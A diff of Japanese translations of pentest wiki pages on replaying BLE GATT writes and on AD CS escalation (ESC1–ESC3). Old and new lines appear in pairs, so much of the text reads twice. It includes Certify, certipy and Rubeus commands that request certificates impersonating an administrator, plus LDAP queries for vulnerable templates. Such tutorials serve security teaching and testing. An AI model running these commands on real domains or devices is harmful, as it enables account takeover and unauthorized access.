代替 sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin も動作します。小型/安価な Nordic ドングルでは通常、sniffer ファームウェアを読み込むために USB ブートローダを上書きするため、専用の sniffer ドングルを保持するか、後でブートローダを復元するために J-Link/JTAG が必要になります。
|
||||
|
||||
### GATT を介したアクティブ制御
|
||||
### GATTによる能動的制御
|
||||
|
||||
sniffed traffic から writable characteristic handle と value を特定したら、任意の central として接続し、同じ write を実行します:
|
||||
sniffed traffic から writable characteristic handle と value を特定したら、任意の central として接続し、同じ write を発行します:
|
||||
|
||||
- Nordic nRF Connect for Desktop (BLE app) を使用して:
|
||||
- Nordic nRF Connect for Desktop (BLE app) を使用する場合:
|
||||
- nRF52/nRF52840 ドングルを選択し、スキャンしてターゲットに接続します。
|
||||
- GATT database を参照し、ターゲットの characteristic を探します(多くはフレンドリ名、例: Alert Level)。
|
||||
- sniffed bytes を使って Write を実行します(例: 01 でトリガ、00 で停止)。
|
||||
- GATT データベースを参照し、対象の characteristic を特定します(多くはフレンドリ名、例: Alert Level)。
|
||||
- sniffed bytes を使って Write を実行します(例: トリガーに 01、停止に 00)。
|
||||
|
||||
- Windows 上で Nordic ドングルを使い Python + blatann で自動化する:
|
||||
- Windows 上で Nordic ドングルを使い、Python + blatann で自動化する:
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
@ -169,13 +169,13 @@ peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
### 運用上の注意点と対策
|
||||
### 運用上の注意と緩和策
|
||||
|
||||
- 安定したチャネルホッピングと接続追跡のため、Linux上でSonoff+Sniffleを推奨する。バックアップとして予備のNordic snifferを用意しておくこと。
|
||||
- pairing/bondingがないと、近隣の攻撃者は書き込みを観察し、unauthenticated writable characteristicsに対してリプレイや偽造した書き込みを行える。
|
||||
- 緩和策: pairing/bondingを必須にして暗号化を強制する; characteristicの権限をauthenticated writesを要求するよう設定する; unauthenticated writable characteristicsを最小化する; Sniffle/nRF ConnectでGATT ACLsを検証する。
|
||||
- 堅牢なチャネルホッピングと接続追跡のため、Linux上の Sonoff+Sniffle を推奨する。バックアップ用に予備の Nordic sniffer を用意しておく。
|
||||
- pairing/bonding がないと、近くの攻撃者は writes を観測し、それらを replay したり独自に craft して認証されていない writable characteristics に対して送信できる。
|
||||
- 対策: pairing/bonding を必須にして暗号化を強制する; characteristic permissions を設定して authenticated writes を要求する; unauthenticated writable characteristics を最小化する; Sniffle/nRF Connect で GATT ACLs を検証する。
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
|
@ -1,107 +1,107 @@
|
||||
# AD 証明書
|
||||
# AD Certificates
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## はじめに
|
||||
## Introduction
|
||||
|
||||
### 証明書の構成要素
|
||||
### Components of a Certificate
|
||||
|
||||
- **Subject** は証明書の所有者を示します。
|
||||
- **Public Key** は秘密鍵と対になり、証明書を正当な所有者に結び付けます。
|
||||
- **Validity Period**(**NotBefore** と **NotAfter** によって定義)は、証明書の有効期間を示します。
|
||||
- 一意の **Serial Number** は Certificate Authority (CA) によって付与され、各証明書を識別します。
|
||||
- 証明書の **Subject** はその所有者を示します。
|
||||
- **Public Key** は、証明書を正当な所有者に結びつけるための秘密鍵とペアになります。
|
||||
- **Validity Period**(**NotBefore** および **NotAfter** 日付で定義)は、証明書の有効期間を示します。
|
||||
- 各証明書を識別する一意の **Serial Number** は、Certificate Authority (CA) によって付与されます。
|
||||
- **Issuer** は証明書を発行した CA を指します。
|
||||
- **SubjectAlternativeName** は主体に追加の名前を許可し、識別の柔軟性を高めます。
|
||||
- **Basic Constraints** は証明書が CA 向けかエンドエンティティ向けかを識別し、使用制限を定義します。
|
||||
- **Extended Key Usages (EKUs)** は、**Object Identifiers (OIDs)** を通じてコード署名やメール暗号化など証明書の特定の用途を示します。
|
||||
- **Signature Algorithm** は証明書に署名するための方法を指定します。
|
||||
- **Signature** は Issuer の秘密鍵で作成され、証明書の真正性を保証します。
|
||||
- **SubjectAlternativeName** は、被験者の追加の名前を許可し、識別の柔軟性を高めます。
|
||||
- **Basic Constraints** は、証明書が CA 用かエンドエンティティ用かを識別し、使用制限を定義します。
|
||||
- **Extended Key Usages (EKUs)** は、Object Identifiers (OIDs) を通じて、code signing や email encryption のような証明書の具体的な用途を区別します。
|
||||
- **Signature Algorithm** は証明書を署名する方法を指定します。
|
||||
- 発行者の秘密鍵で作成された **Signature** は、証明書の真正性を保証します。
|
||||
|
||||
### 特別な考慮事項
|
||||
### Special Considerations
|
||||
|
||||
- **Subject Alternative Names (SANs)** は複数の識別子に対して証明書の適用範囲を拡大し、複数ドメインを持つサーバーにとって重要です。発行プロセスを適切に保護しないと、攻撃者が SAN の仕様を操作してなりすましを行うリスクが生じます。
|
||||
- **Subject Alternative Names (SANs)** は、複数の識別子に対する証明書の適用性を拡張し、複数ドメインを持つサーバにとって重要です。SAN の仕様を攻撃者が操作してなりすましを行うリスクを避けるため、発行プロセスのセキュリティが重要です。
|
||||
|
||||
### Active Directory (AD) における Certificate Authorities (CAs)
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
|
||||
AD CS は、AD フォレスト内の指定コンテナを通じて CA 証明書を認識し、各コンテナは固有の役割を果たします:
|
||||
AD CS は、AD フォレスト内の特定コンテナを通じて CA 証明書を認識します。各コンテナはそれぞれ固有の役割を持ちます:
|
||||
|
||||
- **Certification Authorities** コンテナは信頼されたルート CA 証明書を格納します。
|
||||
- **Enrolment Services** コンテナは Enterprise CAs とその証明書テンプレートに関する情報を保持します。
|
||||
- **NTAuthCertificates** オブジェクトは AD 認証で許可された CA 証明書を含みます。
|
||||
- **AIA (Authority Information Access)** コンテナは中間 CA やクロス CA の証明書を用いた証明書チェーン検証を容易にします。
|
||||
- **Certification Authorities** コンテナは信頼されたルート CA 証明書を保持します。
|
||||
- **Enrolment Services** コンテナは Enterprise CA とその certificate templates に関する情報を保持します。
|
||||
- **NTAuthCertificates** オブジェクトには、AD 認証に許可された CA 証明書が含まれます。
|
||||
- **AIA (Authority Information Access)** コンテナは、中間 CA やクロス CA 証明書とともに証明書チェーンの検証を容易にします。
|
||||
|
||||
### 証明書取得:クライアントによる証明書要求のフロー
|
||||
### Certificate Acquisition: Client Certificate Request Flow
|
||||
|
||||
1. 要求プロセスはクライアントが Enterprise CA を発見することから始まります。
|
||||
2. 公開/秘密鍵ペアを生成した後、公開鍵やその他の詳細を含む CSR が作成されます。
|
||||
3. CA は利用可能な証明書テンプレートに対して CSR を評価し、テンプレートの権限に基づいて証明書を発行します。
|
||||
4. 承認されると、CA は自身の秘密鍵で証明書に署名し、クライアントに返します。
|
||||
1. クライアントは Enterprise CA を見つけることから要求プロセスを開始します。
|
||||
2. 公開鍵とその他の詳細を含む CSR が、公私鍵ペアの生成後に作成されます。
|
||||
3. CA は利用可能な certificate templates と照らし合わせて CSR を評価し、テンプレートの権限に基づいて証明書を発行します。
|
||||
4. 承認されると、CA は自らの秘密鍵で証明書に署名し、それをクライアントに返します。
|
||||
|
||||
### 証明書テンプレート
|
||||
### Certificate Templates
|
||||
|
||||
AD 内で定義されるこれらのテンプレートは、許可される EKU や登録・変更の権限など、証明書発行に関する設定と権限を定義し、証明書サービスへのアクセス管理において重要です。
|
||||
AD 内で定義されたこれらのテンプレートは、発行時の設定と権限(許可された EKU、enrollment や modification の権利など)を概説しており、証明書サービスへのアクセス管理にとって重要です。
|
||||
|
||||
## 証明書登録
|
||||
## Certificate Enrollment
|
||||
|
||||
証明書の登録プロセスは、管理者が **証明書テンプレートを作成** することで開始され、Enterprise Certificate Authority (CA) によって **公開(published)** されます。これによりテンプレートはクライアントの登録に利用可能になり、Active Directory オブジェクトの `certificatetemplates` フィールドにテンプレート名を追加することで行われます。
|
||||
証明書の enrollment プロセスは、管理者が **certificate template** を作成することで開始され、Enterprise Certificate Authority (CA) によって **published** されます。これによりテンプレートがクライアントの enrollment に利用可能になり、テンプレート名を Active Directory オブジェクトの `certificatetemplates` フィールドに追加することで実現されます。
|
||||
|
||||
クライアントが証明書を要求するには、**enrollment rights** が付与されている必要があります。これらの権利は証明書テンプレートおよび Enterprise CA 自身のセキュリティ記述子によって定義されます。要求を成功させるには両方に権限が付与されている必要があります。
|
||||
クライアントが証明書を要求するには、**enrollment rights** が付与されている必要があります。これらの権利は certificate template および Enterprise CA 自体のセキュリティ記述子によって定義されます。要求を成功させるには、両方の場所で権限が付与されていなければなりません。
|
||||
|
||||
### テンプレートのエンロールメント権限
|
||||
### Template Enrollment Rights
|
||||
|
||||
これらの権利は Access Control Entries (ACEs) で指定され、次のような権限を含みます:
|
||||
これらの権利は Access Control Entries (ACEs) を通じて指定され、次のような権限を詳細に示します:
|
||||
|
||||
- **Certificate-Enrollment** および **Certificate-AutoEnrollment** の権利(それぞれ特定の GUID に紐づく)。
|
||||
- **ExtendedRights**(全ての拡張権限を許可)。
|
||||
- **FullControl/GenericAll**(テンプレートに対する完全な制御)。
|
||||
- 特定の GUID に関連づけられた **Certificate-Enrollment** および **Certificate-AutoEnrollment** 権利。
|
||||
- すべての拡張権限を許可する **ExtendedRights**。
|
||||
- テンプレートに対する完全な制御を提供する **FullControl/GenericAll**。
|
||||
|
||||
### Enterprise CA のエンロールメント権限
|
||||
### Enterprise CA Enrollment Rights
|
||||
|
||||
CA の権利はそのセキュリティ記述子に明記されており、Certificate Authority management console からアクセスできます。一部の設定は権限の低いユーザーに遠隔アクセスを許可することがあり、これはセキュリティ上の懸念となります。
|
||||
CA の権利は、そのセキュリティ記述子に概説されており、Certificate Authority 管理コンソールからアクセス可能です。一部の設定では低特権ユーザにリモートアクセスを許可するものもあり、これはセキュリティ上の懸念となり得ます。
|
||||
|
||||
### 追加の発行制御
|
||||
### Additional Issuance Controls
|
||||
|
||||
特定の制御が適用される場合があります。例えば:
|
||||
適用される場合の制御には、次のようなものがあります:
|
||||
|
||||
- **Manager Approval**:要求を保留状態にし、証明書マネージャーの承認を待ちます。
|
||||
- **Enrolment Agents and Authorized Signatures**:CSR に必要な署名数や、必要な Application Policy OIDs を指定します。
|
||||
- **Manager Approval**:要求を保留状態にし、証明書マネージャの承認まで待機させます。
|
||||
- **Enrolment Agents and Authorized Signatures**:CSR に必要な署名数や必要な Application Policy OID を指定します。
|
||||
|
||||
### 証明書要求の方法
|
||||
### Methods to Request Certificates
|
||||
|
||||
証明書は以下の方法で要求できます:
|
||||
証明書は次の方法で要求できます:
|
||||
|
||||
1. Windows Client Certificate Enrollment Protocol (MS-WCCE)(DCOM インターフェースを使用)。
|
||||
2. ICertPassage Remote Protocol (MS-ICPR)、named pipes または TCP/IP 経由。
|
||||
3. Certificate Authority Web Enrollment ロールがインストールされた証明書登録のウェブインターフェース。
|
||||
4. Certificate Enrollment Service (CES) と Certificate Enrollment Policy (CEP) サービスを組み合わせた方法。
|
||||
5. ネットワーク機器向けの Network Device Enrollment Service (NDES)、Simple Certificate Enrollment Protocol (SCEP) を使用。
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE)、DCOM インターフェイスを使用。
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR)、named pipes または TCP/IP 経由。
|
||||
3. Certificate Authority Web Enrollment role をインストールした **certificate enrollment web interface**。
|
||||
4. **Certificate Enrollment Service (CES)**、および Certificate Enrollment Policy (CEP) サービスと連携。
|
||||
5. ネットワークデバイス向けの **Network Device Enrollment Service (NDES)**、Simple Certificate Enrollment Protocol (SCEP) を使用。
|
||||
|
||||
Windows ユーザーは GUI(certmgr.msc または certlm.msc)やコマンドラインツール(certreq.exe や PowerShell の Get-Certificate コマンド)を使って証明書を要求することもできます。
|
||||
Windows ユーザは GUI (`certmgr.msc` または `certlm.msc`) やコマンドラインツール (`certreq.exe` や PowerShell の `Get-Certificate` コマンド) を通じても証明書を要求できます。
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## 証明書認証
|
||||
|
||||
Active Directory (AD) は主に **Kerberos** と **Secure Channel (Schannel)** プロトコルを利用して証明書認証をサポートします。
|
||||
Active Directory (AD) は証明書認証をサポートしており、主に **Kerberos** と **Secure Channel (Schannel)** プロトコルを利用します。
|
||||
|
||||
### Kerberos 認証プロセス
|
||||
|
||||
Kerberos 認証プロセスでは、ユーザーの Ticket Granting Ticket (TGT) 取得要求はユーザーの証明書の **秘密鍵** で署名されます。この要求はドメインコントローラーによっていくつかの検証を受け、検証項目には証明書の **有効性**、**パス(証明書チェーン)**、および **失効状況** が含まれます。さらに、証明書が信頼できる発行元からのものであることの確認や、発行者が **NTAUTH 証明書ストア** に存在することの確認も行われます。検証が成功すると TGT が発行されます。AD の **`NTAuthCertificates`** オブジェクトは次の場所にあります:
|
||||
Kerberos 認証プロセスでは、ユーザーが Ticket Granting Ticket (TGT) を要求する際、その要求はユーザーの証明書の **秘密鍵** で署名されます。この要求はドメインコントローラーによっていくつかの検証を受けます。これには証明書の **有効性**、**パス**、および **失効状態** の確認が含まれます。検証にはまた、証明書が信頼できる発行元からのものであることの確認と、発行者が **NTAUTH 証明書ストア** に存在することの確認も含まれます。検証が成功すると、TGT が発行されます。AD 内の **`NTAuthCertificates`** オブジェクトは、次の場所にあります:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
証明書認証の信頼を確立する上で中心的な役割を果たす。
|
||||
証明書認証の信頼確立にとって中心的である。
|
||||
|
||||
### Secure Channel (Schannel) 認証
|
||||
|
||||
Schannel は TLS/SSL によるセキュアな接続を促進します。ハンドシェイク中にクライアントが証明書を提示し、それが検証に成功すればアクセスが許可されます。証明書を AD アカウントにマッピングする方法には、Kerberos の **S4U2Self** 機能や証明書の **Subject Alternative Name (SAN)** などが含まれます。
|
||||
Schannel は TLS/SSL の安全な接続を仲介し、ハンドシェイク中にクライアントが証明書を提示します。提示された証明書が有効と検証されれば、アクセスが許可されます。証明書を AD アカウントに紐付ける方法としては、Kerberos の **S4U2Self** 関数や証明書の **Subject Alternative Name (SAN)** などが用いられます。
|
||||
|
||||
### AD Certificate Services の列挙
|
||||
### AD Certificate Services 列挙
|
||||
|
||||
AD の証明書サービスは LDAP クエリで列挙でき、**Enterprise Certificate Authorities (CAs)** やその設定に関する情報が明らかになります。これは特別な権限を必要とせず、ドメイン認証済みの任意のユーザーがアクセス可能です。ツールとしては **[Certify](https://github.com/GhostPack/Certify)** や **[Certipy](https://github.com/ly4k/Certipy)** のようなものが、AD CS 環境での列挙や脆弱性評価に使用されます。
|
||||
AD の Certificate Services は LDAP クエリによって列挙でき、**Enterprise Certificate Authorities (CAs)** やその構成に関する情報が明らかになります。これは特別な権限なしにドメイン認証済みユーザーなら誰でもアクセス可能です。**[Certify](https://github.com/GhostPack/Certify)** や **[Certipy](https://github.com/ly4k/Certipy)** のようなツールは、AD CS 環境の列挙や脆弱性評価に用いられます。
|
||||
|
||||
これらのツールを使用するためのコマンドには次のようなものがあります:
|
||||
これらのツールを使用するコマンドには次のものがあります:
|
||||
```bash
|
||||
# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
|
||||
# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks
|
||||
|
@ -3,42 +3,42 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**これは以下の投稿のエスカレーション手法セクションの要約です:**
|
||||
**これは以下の投稿の権限昇格手法セクションの要約です:**
|
||||
|
||||
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
## 誤設定された証明書テンプレート - ESC1
|
||||
## 証明書テンプレートの誤設定 - ESC1
|
||||
|
||||
### 説明
|
||||
|
||||
### 誤設定された証明書テンプレート - ESC1 の説明
|
||||
### 証明書テンプレートの誤設定 - ESC1 の説明
|
||||
|
||||
- **Enterprise CA により低権限ユーザに登録権限が付与されている。**
|
||||
- **Manager の承認は不要である。**
|
||||
- **権限を持つ担当者の署名は不要である。**
|
||||
- **証明書テンプレートのセキュリティ記述子が過度に緩く、低権限ユーザが登録権限を取得できてしまう。**
|
||||
- **証明書テンプレートが認証を可能にする EKU を定義するように設定されている:**
|
||||
- Extended Key Usage (EKU) の識別子として、Client Authentication (OID 1.3.6.1.5.5.7.3.2)、PKINIT Client Authentication (1.3.6.1.5.2.3.4)、Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)、Any Purpose (OID 2.5.29.37.0)、または EKU なし(SubCA)が含まれる。
|
||||
- **テンプレートにより、申請者が Certificate Signing Request (CSR) に subjectAltName を含めることが許可されている:**
|
||||
- Active Directory (AD) は、証明書に subjectAltName (SAN) が含まれている場合、ID 検証において SAN を優先する。つまり、CSR に SAN を指定することで、任意のユーザ(例:ドメイン管理者)を偽装するための証明書を要求できる。申請者が SAN を指定できるかどうかは、証明書テンプレートの AD オブジェクトにある `mspki-certificate-name-flag` プロパティで示される。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが存在すると申請者による SAN の指定が許可される。
|
||||
- **Enterprise CA によって低権限ユーザーに enrolment 権限が付与されている。**
|
||||
- **マネージャーの承認は不要である。**
|
||||
- **承認された担当者の署名は不要である。**
|
||||
- **証明書テンプレート上のセキュリティ記述子が過度に緩く、低権限ユーザーが enrolment 権限を取得できる。**
|
||||
- **証明書テンプレートは認証を可能にする EKU を定義するように設定されている:**
|
||||
- Extended Key Usage (EKU) の識別子として、Client Authentication (OID 1.3.6.1.5.5.7.3.2)、PKINIT Client Authentication (1.3.6.1.5.2.3.4)、Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)、Any Purpose (OID 2.5.29.37.0)、あるいは EKU がないもの(SubCA)などが含まれる。
|
||||
- **テンプレートによって、リクエスターが Certificate Signing Request (CSR) に subjectAltName を含めることが許可されている:**
|
||||
- Active Directory (AD) は、証明書に subjectAltName (SAN) が含まれている場合、識別の際にそれを優先する。つまり、CSR で SAN を指定すれば、任意のユーザー(例:ドメイン管理者)になりすました証明書を要求できるということだ。SAN をリクエスターが指定できるかは、証明書テンプレートの AD オブジェクトにある `mspki-certificate-name-flag` プロパティで示される。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが存在するとリクエスターが SAN を指定できる。
|
||||
|
||||
> [!CAUTION]
|
||||
> 上記構成では低権限ユーザが任意の SAN を含む証明書を要求できるため、Kerberos や SChannel を介して任意のドメイン主体として認証が可能になる。
|
||||
> 上記の設定では低権限ユーザーが任意の SAN を持つ証明書を要求でき、Kerberos または SChannel を用いて任意のドメイン主体として認証できてしまう。
|
||||
|
||||
この機能は、製品やデプロイメントサービスが HTTPS やホスト証明書をオンザフライで生成することを支援するため、あるいは設定理解の不足により有効化されていることがある。
|
||||
この機能は、製品やデプロイメントサービスが HTTPS やホスト証明書をオンザフライで生成するのをサポートするため、あるいは理解不足により有効化されていることがある。
|
||||
|
||||
このオプションで証明書を作成すると警告が発生するが、既存の証明書テンプレート(例:`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` が有効な `WebServer` テンプレート)を複製してから認証用 OID を追加した場合は警告が発生しない点に注意する。
|
||||
このオプションで証明書を作成すると警告が出る点に注意が必要だが、既存の証明書テンプレート(例えば `WebServer` テンプレートのように `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` が有効になっているもの)を複製して認証用の OID を追加した場合には同じ警告が出ないことがある。
|
||||
|
||||
### 悪用
|
||||
|
||||
脆弱な証明書テンプレートを見つけるには、次を実行できます:
|
||||
脆弱な証明書テンプレートを**見つける**には、次を実行する:
|
||||
```bash
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
この脆弱性を**悪用して管理者になりすます**には、次のコマンドを実行できます:
|
||||
この**脆弱性を悪用して管理者になりすます**には、次を実行できます:
|
||||
```bash
|
||||
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
|
||||
@ -54,68 +54,68 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
|
||||
-template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
その後、生成された **証明書を `.pfx` に** 形式に変換して、**Rubeus または certipy を使用して認証する** のに再度使用できます:
|
||||
その後、生成された**証明書を `.pfx` 形式に変換**し、それを用いて**Rubeus または certipy で再度認証**できます:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Windows バイナリ "Certreq.exe" と "Certutil.exe" は PFX を生成するために使用できます: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
AD Forest の構成スキーマ内の証明書テンプレートの列挙、特に承認や署名を必要とせず、Client Authentication または Smart Card Logon EKU を持ち、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが有効になっているものは、次の LDAP クエリを実行することで行えます:
|
||||
AD Forest の configuration schema 内の certificate templates の列挙は、特に承認や署名を必要とせず、Client Authentication または Smart Card Logon EKU を持ち、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが有効なものについて、次の LDAP クエリを実行することで行えます:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
## 誤設定された証明書テンプレート - ESC2
|
||||
## 誤構成の証明書テンプレート - ESC2
|
||||
|
||||
### 説明
|
||||
|
||||
2番目の悪用シナリオは最初のもののバリエーションです:
|
||||
2番目の悪用シナリオは、最初のものの変形です:
|
||||
|
||||
1. Enrollment rights are granted to low-privileged users by the Enterprise CA.
|
||||
2. マネージャー承認の要件が無効化されている。
|
||||
3. 承認された署名の必要性が省略されている。
|
||||
4. 証明書テンプレートのセキュリティ記述子が過度に許容的で、低権限ユーザーに証明書登録権を付与している。
|
||||
5. **The certificate template is defined to include the Any Purpose EKU or no EKU.**
|
||||
1. Enterprise CA により、低権限のユーザーに証明書の登録権限が付与される。
|
||||
2. マネージャーの承認要件が無効化されている。
|
||||
3. 認可された署名の必要性が省略されている。
|
||||
4. 証明書テンプレートのセキュリティ記述子が過度に許容的で、低権限のユーザーに証明書登録権限を与えている。
|
||||
5. **証明書テンプレートが Any Purpose EKU を含む、または EKU を持たないように定義されている。**
|
||||
|
||||
**Any Purpose EKU** は、クライアント認証、サーバー認証、コード署名などを含む **あらゆる目的** のために攻撃者が証明書を取得することを許可します。同じ **ESC3で使用される手法** を用いてこのシナリオを悪用することができます。
|
||||
**Any Purpose EKU** は、攻撃者がクライアント認証、サーバー認証、コード署名などを含む **あらゆる目的** のために証明書を取得できるようにする。**ESC3 で使用されたのと同じ手法** を利用してこのシナリオを悪用できる。
|
||||
|
||||
**no EKUs** を持つ証明書は下位CA証明書として機能し、**あらゆる目的** に悪用でき、**新しい証明書に署名するためにも使用可能** です。したがって、攻撃者は下位CA証明書を利用して新しい証明書に任意のEKUやフィールドを指定することができます。
|
||||
EKU のない証明書は下位 CA 証明書として機能し、**あらゆる目的** に悪用され得るし、**新しい証明書の署名にも使用できる**。したがって攻撃者は下位 CA 証明書を利用して、新しい証明書に任意の EKU やフィールドを指定できる。
|
||||
|
||||
ただし、下位CAがデフォルト設定である **`NTAuthCertificates`** オブジェクトによって信頼されていない場合、**ドメイン認証** 用に作成された新しい証明書は機能しません。それでも攻撃者は **任意のEKUを持つ新しい証明書** や任意の証明書値を作成することが可能であり、これらは(例:コード署名、サーバー認証など)幅広い目的で悪用される可能性があり、SAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに重大な影響を及ぼす可能性があります。
|
||||
ただし、下位 CA がデフォルト設定で信頼されている `NTAuthCertificates` オブジェクトにより信頼されていない場合、**ドメイン認証** 用に作成された新しい証明書は機能しない。それでも攻撃者は **任意のEKUを持つ新しい証明書** や任意の証明書値を作成することができる。これらは(例:コード署名、サーバー認証など)幅広い目的で潜在的に **悪用** され得て、SAML、AD FS、IPSec のようなネットワーク内の他のアプリケーションに重大な影響を及ぼす可能性がある。
|
||||
|
||||
ADフォレストの構成スキーマ内でこのシナリオに一致するテンプレートを列挙するには、次のLDAPクエリを実行します:
|
||||
AD フォレストの構成スキーマ内でこのシナリオに一致するテンプレートを列挙するには、次の LDAP クエリを実行できる:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## 誤設定された Enrolment Agent テンプレート - ESC3
|
||||
## Misconfigured Enrolment Agent Templates - ESC3
|
||||
|
||||
### 説明
|
||||
|
||||
このシナリオは最初と2番目のケースに似ていますが、異なる EKU(Certificate Request Agent)と2つの異なるテンプレートを**悪用**します(したがって2セットの要件があります)。
|
||||
このシナリオは最初と2番目のものと似ていますが、**別の EKU**(Certificate Request Agent)と**2つの異なるテンプレート**を**悪用**する点が異なり、そのため要件が2セットあります。
|
||||
|
||||
Certificate Request Agent EKU(OID 1.3.6.1.4.1.311.20.2.1)、Microsoft のドキュメントで **Enrollment Agent** と呼ばれるものは、あるプリンシパルが **別のユーザーに代わって** **証明書に登録(enroll)** することを許可します。
|
||||
The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), known as **Enrollment Agent** in Microsoft documentation, allows a principal to **enroll** for a **certificate** on **behalf of another user**.
|
||||
|
||||
“enrollment agent” はそのようなテンプレートに登録し、得られた証明書を使って別のユーザーに代わって CSR に共同署名(co-sign)します。次にその共署名済み CSR を CA に送り、"enroll on behalf of" を許可するテンプレートに登録し、CA は「別の」ユーザーに属する証明書を返します。
|
||||
その**“enrollment agent”**はそのような**テンプレート**に登録し、取得した**証明書を用いて他のユーザの代理としてCSRに共署(co-sign)します**。次にその**共署済みCSR**をCAに**送信**し、CAは“他者の代理で登録(enroll on behalf of)”を許可する**テンプレート**への登録を行い、CAは“他の”ユーザに属する**証明書**を発行します。
|
||||
|
||||
要件 1:
|
||||
**Requirements 1:**
|
||||
|
||||
- Enterprise CA によって低権限ユーザーに enrollment 権限が付与されている。
|
||||
- マネージャー承認の要件が省略されている。
|
||||
- 署名の許可(authorized signatures)の要件がない。
|
||||
- 証明書テンプレートのセキュリティ記述子が過度に寛大で、低権限ユーザーに enrollment 権限を与えている。
|
||||
- 証明書テンプレートに Certificate Request Agent EKU が含まれており、他のプリンシパルに代わって他の証明書テンプレートを要求できるようになっている。
|
||||
- Enterprise CA によって低権限ユーザに登録権限が付与されている。
|
||||
- マネージャ承認の要件が省略されている。
|
||||
- 認可された署名の要件がない。
|
||||
- 証明書テンプレートのセキュリティ記述子が過度に緩く、低権限ユーザに登録権限を付与している。
|
||||
- その証明書テンプレートは Certificate Request Agent EKU を含み、他の主体の代理で他の証明書テンプレートを要求できるようになっている。
|
||||
|
||||
要件 2:
|
||||
**Requirements 2:**
|
||||
|
||||
- Enterprise CA が低権限ユーザーに enrollment 権限を与えている。
|
||||
- マネージャー承認がバイパスされている。
|
||||
- テンプレートのスキーマバージョンが 1 であるか 2 を超えており、Certificate Request Agent EKU を必要とする Application Policy Issuance Requirement を指定している。
|
||||
- 証明書テンプレートで定義された EKU がドメイン認証を許可している。
|
||||
- CA 側で enrollment agent に対する制限が適用されていない。
|
||||
- Enterprise CA が低権限ユーザに登録権限を付与している。
|
||||
- マネージャ承認がバイパスされる。
|
||||
- テンプレートのスキーマバージョンが1であるか2を超えており、Certificate Request Agent EKU を必要とする Application Policy Issuance Requirement を指定している。
|
||||
- 証明書テンプレートに定義された EKU のうち、ドメイン認証を許可するものがある。
|
||||
- CA 上で enrollment agent に対する制限が適用されていない。
|
||||
|
||||
### 悪用
|
||||
### Abuse
|
||||
|
||||
このシナリオは [**Certify**](https://github.com/GhostPack/Certify) または [**Certipy**](https://github.com/ly4k/Certipy) を使って悪用できます:
|
||||
